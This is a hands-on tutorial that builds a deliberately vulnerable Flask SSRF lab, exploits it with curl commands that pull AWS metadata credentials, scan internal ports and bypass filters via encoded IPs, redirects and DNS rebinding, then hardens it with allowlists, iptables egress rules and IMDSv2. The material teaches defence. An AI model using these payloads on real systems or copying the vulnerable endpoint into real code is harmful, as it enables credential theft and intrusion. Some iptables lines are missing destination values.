{
“@context”: “https://schema.org”,
“@type”: “TechArticle”,
“headline”: “Hands-On SSRF Lab: Exploiting and Mitigating Server-Side Request Forgery with Real Commands”,
“description”: “Build a vulnerable SSRF lab, exploit it with curl and chain it into cloud metadata theft, then fix it with allowlists, egress controls, and hardening configs.”,
“author”: {“@type”: “Organization”, “name”: “Hmmnm – Cybersecurity Tutorials”, “url”: “https://hmmnm.com”},
“publisher”: {“@type”: “Organization”, “name”: “Hmmnm”, “url”: “https://hmmnm.com”},
“mainEntityOfPage”: “https://hmmnm.com/ssrf-lab-tutorial”
}
TL;DR: What SSRF Is and How You Exploit and Fix It in One Lab
Hands-On SSRF Lab: Exploit and Mitigate Server-Side Request Forgery
SSRF lets an attacker make your server send requests to attacker-chosen internal targets—localhost services, RFC 1918 ranges, and, most damagingly, the cloud metadata endpoint at 169.254.169.254, where temporary IAM credentials live. You fix it with strict URL allowlists backed by DNS pinning, network egress filtering, and disabling redirect following. This article walks you through building a vulnerable Flask app, exploiting it with curl, chaining it into metadata theft, and then hardening it layer by layer.
Traditional web exploitation targets what the application does with your input. SSRF inverts that model—you’re not attacking the application’s logic, you’re weaponizing its trust in itself. You’re turning the server into a proxy that reaches into networks your browser can never touch. OWASP lists Server-Side Request Forgery in its OWASP Top 10, and real-world incidents like the 2019 Capital One breach—which exposed data on roughly 100 million individuals via an SSRF chain into AWS metadata—proved this is not a theoretical threat class. CISA and the NSA have repeatedly flagged SSRF in joint advisories on cloud misconfiguration as a top initial-access vector.
Reading about SSRF teaches you the concept. Building the lab teaches you the defense. Here’s the full cycle, in one afternoon, on your own machine.
Prerequisites and Lab Architecture
You need the following installed:
- Docker and docker-compose — containerization keeps the lab isolated and reproducible.
- curl — your primary exploitation and testing tool.
- Python 3.10+ with Flask — the vulnerable application.
- netcat (nc) — an outbound-request listener to confirm SSRF callbacks.
- ffuf (optional) — for internal service fuzzing in the escalation section.
The topology is deliberately simple: two containers on a private Docker bridge network. The first runs a Flask app with a URL-fetching feature. The second runs a trivial internal-only service on port 5001. The attacker (you, from the host) can reach the app but cannot reach the internal service directly—exactly the boundary SSRF is designed to violate.
Building the Vulnerable SSRF Application
Create app/app.py:
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
@app.route("/fetch")
def fetch():
url = request.args.get("url")
if not url:
return jsonify({"error": "url parameter required"}), 400
try:
r = requests.get(url, timeout=5)
return jsonify({"status": r.status_code, "body": r.text[:2000]})
except requests.RequestException as e:
return jsonify({"error": str(e)}), 502
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
This is the canonical SSRF anti-pattern: a user-supplied URL passed directly into a server-side HTTP client. No validation, no allowlist, no egress restriction.
Create internal/service.py for the internal-only target:
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return "SECRET-INTERNAL-SERVICE: payroll API v1"
app.run(host="0.0.0.0", port=5001)
And docker-compose.yml:
version: "3.8"
services:
web:
build: ./app
ports:
- "5000:5000"
networks:
- internal_net
internal:
build: ./internal
expose:
- "5001"
networks:
- internal_net
networks:
internal_net:
driver: bridge
Each directory gets a minimal Dockerfile (python:3.12-slim, pip install flask requests, CMD to run the script). Run docker compose up --build. The internal service is unreachable from your host—only from inside internal_net. That’s your target.
Detecting SSRF: Baseline Probes with curl
First, confirm the app fetches arbitrary URLs. Start a listener on your host:
nc -lvnp 8000
Then trigger the vulnerable endpoint from the containerized app. From inside the container host.docker.internal resolves to your host:
curl "http://localhost:5000/fetch?url=http://host.docker.internal:8000/ssrf-callback"
Your netcat listener receives the request. SSRF confirmed—the server makes outbound connections you control.
Timing-based detection matters when there’s no callback channel. Compare a request to a routable host against one to a blackholed IP:
time curl "http://localhost:5000/fetch?url=http://10.255.255.1/"
time curl "http://localhost:5000/fetch?url=http://192.0.2.1/"
Differential response times and error messages leak port state—open ports return HTTP errors fast; closed ports hang until timeout. That’s a blind SSRF port scanner for free.
Chaining SSRF into Cloud Metadata Theft
This is where SSRF stops being a curiosity and becomes a breach. On AWS, EC2 instances can query the Instance Metadata Service at 169.254.169.254, which serves—including IAM role credentials:
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-app-role/"
The last request returns a JSON blob containing AccessKeyId, SecretAccessKey, and Token—valid, temporary AWS credentials. The attacker replays them with the AWS CLI against any API the role permits. That is precisely the Capital One kill chain.
The critical distinction: IMDSv1 vs IMDSv2. IMDSv1 is the plain GET above. IMDSv2, AWS’s hardened version, requires a PUT request to /latest/api/token to obtain a session token first, with a hop limit of 1 preventing container escape paths. Since our Flask endpoint only issues GETs and runs in a container (extra hop), the metadata fetch fails under IMDSv2. AWS made IMDSv2 the default for new instance types launched from late 2023 onward—but millions of IMDSv1 endpoints remain. GCP (metadata.google.internal) and Azure (169.254.169.254 with a Metadata: true header) have their own variants; GCP’s flavor famously falls to a blank-header trick with legacy v0.1 endpoints.
Escalating: Internal Service Recon and Port Scanning
Back in the lab, map what else the server can reach. Start with the obvious:
curl "http://localhost:5000/fetch?url=http://internal:5001/"
You get back SECRET-INTERNAL-SERVICE: payroll API v1—a service the network was supposed to hide. For broader sweeps, loop curl across an internal range or use ffuf with a wordlist of hostnames:
for port in 3000 5000 5432 6379 8080 9200; do
echo -n "$port: "
curl -s -o /dev/null -w "%{http_code} %{time_total}sn"
"http://localhost:5000/fetch?url=http://internal:$port/"
done
Redis on 6379, Elasticsearch on 9200, PostgreSQL on 5432—each open internal port is a pivot point. This is why SSRF severity ratings land at “critical” more often than not.
Why Common Blacklist Fixes Fail
The instinctive fix—block requests containing “169.254”—is where most remediation efforts die. Attackers bypass blacklists with trivial encodings, because the string check runs before DNS and IP parsing:
- Decimal/integer IP notation:
http://2852039166/is 169.254.169.254 in decimal. It parses identically at the socket layer. - Alternative loopback representations:
0.0.0.0,0177.0.0.1(octal), and IPv6-mapped forms like[::ffff:169.254.169.254]all dodge naive filters. - 302 redirects: Point the fetch at an attacker-controlled server that returns a redirect to the metadata endpoint. If your HTTP client follows redirects—and requests does by default—your validation of the original URL is meaningless.
- DNS rebinding: An attacker-controlled domain resolves to a public IP during your validation check, then re-resolves to 169.254.169.254 when the client actually connects. The classic TOCTOU gap.
Every one of these bypasses shares a root cause: validating a string while connecting to a resolved IP. Any defense that doesn’t close that gap is theater.
Fix 1: URL Allowlists and Strict Validation
Replace blacklist thinking with allowlist enforcement. The rules:
from urllib.parse import urlparse
import ipaddress, socket
ALLOWED_HOSTS = {"api.partner.example", "cdn.partner.example"}
def validate_url(url):
p = urlparse(url)
if p.scheme not in ("http", "https"):
raise ValueError("scheme not allowed")
if p.hostname not in ALLOWED_HOSTS:
raise ValueError("host not allowlisted")
# Resolve and pin: connect to THIS IP, not a fresh lookup
ip = socket.getaddrinfo(p.hostname, p.port or 80)[0][4][0]
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_link_local or addr.is_loopback or addr.is_reserved:
raise ValueError("resolves to blocked range")
return ip
Then pass the pinned IP to the HTTP client with the hostname in the Host header, so the DNS rebinding TOCTOU window never opens. Also set requests.get(url, allow_redirects=False) and re-run full validation on every redirect target if redirects are business-required. Block the entire link-local range 169.254.0.0/16 and RFC 1918 ranges by resolved IP, never by hostname substring.
Fix 2: Network Egress Controls and Segmentation
Application validation will eventually fail—assume it. Network controls are the backstop. On the app container, deny everything except explicitly needed egress:
iptables -A OUTPUT -d 169.254.0.0/16 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -d 10.0.0.0/8 -j REJECT
iptables -A OUTPUT -d 172.16.0.0/12 -j REJECT
iptables -A OUTPUT -d 192.168.0.0/16 -j REJECT
iptables -A OUTPUT -p tcp --dport 443 -d -j ACCEPT
iptables -A OUTPUT -p tcp --dport 80 -d -j ACCEPT
iptables -P OUTPUT DROP
In AWS, replicate this with security group egress rules and VPC endpoints for required AWS APIs. Best practice for high-trust applications: force all outbound HTTP through a dedicated egress proxy (Squid, or a commercial secure web gateway) that enforces allowlists centrally and logs every request. Complement this with IAM hardening—scope instance roles to minimum permissions so even a successful metadata read yields credentials that can do almost nothing.
Fix 3: Application-Layer Hardening (IMDSv2, Disable Redirects, Timeouts)
Three cheap controls with disproportionate impact:
- Enforce IMDSv2 with hop limit 1. On AWS, run
aws ec2 modify-instance-metadata-options --instance-id i-0abc123 --http-tokens required --http-put-response-hop-limit 1 --http-endpoint enabled. Containers add a network hop, so hop-limit 1 alone often breaks containerized SSRF into metadata. - Never follow redirects server-side.
allow_redirects=Falsein requests,-1as redirect policy in Java,CheckRedirectin Go. - Cap timeouts and response size.
requests.get(url, timeout=(3, 5), stream=True)with a hard read cap prevents both SSRF-based internal scanning speedups and denial-of-service via huge responses.
Verifying the Fixes: Retesting Your Lab
Add the validation function and egress rules, rebuild, and rerun your full exploit chain:
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/"
# {"error": "host not allowlisted"}
curl "http://localhost:5000/fetch?url=http://2852039166/"
# {"error": "host not allowlisted"}
curl "http://localhost:5000/fetch?url=http://rebind.attacker.local/"
# {"error": "resolves to blocked range"}
curl "http://localhost:5000/fetch?url=http://internal:5001/"
# {"error": "resolves to blocked range"}
Every probe fails at a different layer—application validation, DNS pinning, and iptables. That’s the point: no single bypass technique defeats all three simultaneously.
Detection, Logging, and Further Practice
Prevention fails eventually; detection is your safety net. Log every outbound request from application hosts with full URL and resolved IP. Alert on any request to 169.254.169.254 from an application tier—legitimate services should retrieve credentials via SDKs with IMDSv2, and anomalous GET patterns against metadata paths are a high-fidelity compromise signal. CloudTrail GetCallerIdentity calls from unexpected roles, and spikes in AssumeRole activity, catch the post-exfiltration phase.
To keep sharpening, practice on legal, purpose-built platforms: PortSwigger Web Security Academy’s SSRF labs (free, excellent blind-SSRF coverage), OWASP WSTG section 9.4 on SSRF testing methodology, and CISA’s Secure by Design guidance for the cloud-architecture perspective. PayloadsAllTheThings’ SSRF section documents bypass techniques in depth—read it as a defender first.
SSRF isn’t exotic. It’s a three-line code smell with breach-level consequences. Build the lab, break it, fix it, verify the fix—that muscle memory is what separates teams that read advisories from teams that don’t become them.
Frequently Asked Questions
Is it legal to test for SSRF?
Only against systems you own or have explicit written authorization to test. SSRF testing by definition involves making servers send requests to internal infrastructure—doing this against third parties without authorization is illegal in most jurisdictions regardless of intent. Use local labs like the one in this article, or authorized platforms like PortSwigger Academy and HackTheBox.
What is the difference between SSRF and CSRF?
SSRF makes the server send requests to attacker-chosen targets, leveraging the server’s network position and trust. CSRF tricks a victim’s browser into sending authenticated requests to an application the user is logged into. SSRF attacks inward from the server; CSRF attacks the user’s session. Defenses differ completely—CSRF tokens do nothing against SSRF.
Why is 169.254.169.254 a target in SSRF attacks?
It’s the link-local cloud metadata endpoint serving instance configuration, SSH keys, user data, and—critically—temporary IAM credentials on AWS, GCP, and Azure. An SSRF bug that reaches this address frequently escalates directly into full cloud account compromise via stolen role credentials.
How does IMDSv2 stop metadata theft via SSRF?
IMDSv2 requires a PUT request to obtain a session token before any metadata GET succeeds, and enforces a TTL hop limit of 1 on the token request. Most SSRF vulnerabilities allow only attacker-controlled GETs, and containerized or proxied applications add network hops that fail the hop-limit check—both breaking the classic metadata exfiltration chain.
What’s the best SSRF defense?
Defense in depth—no single control suffices. Combine strict URL allowlists with DNS resolution pinning and post-resolution private-range blocking, network-level egress restrictions and metadata endpoint denial, and application hardening (IMDSv2, disabled redirect following, response size caps). Each layer catches what the others miss.
Related reading
- Kashmir Part 2: The Proxy War, Propaganda, and the Path Ahead
- Evilginx3 Lab: Build a Safe AiTM Phishing Lab to Understand Session Cookie Theft (and Why FIDO2 Stops It)
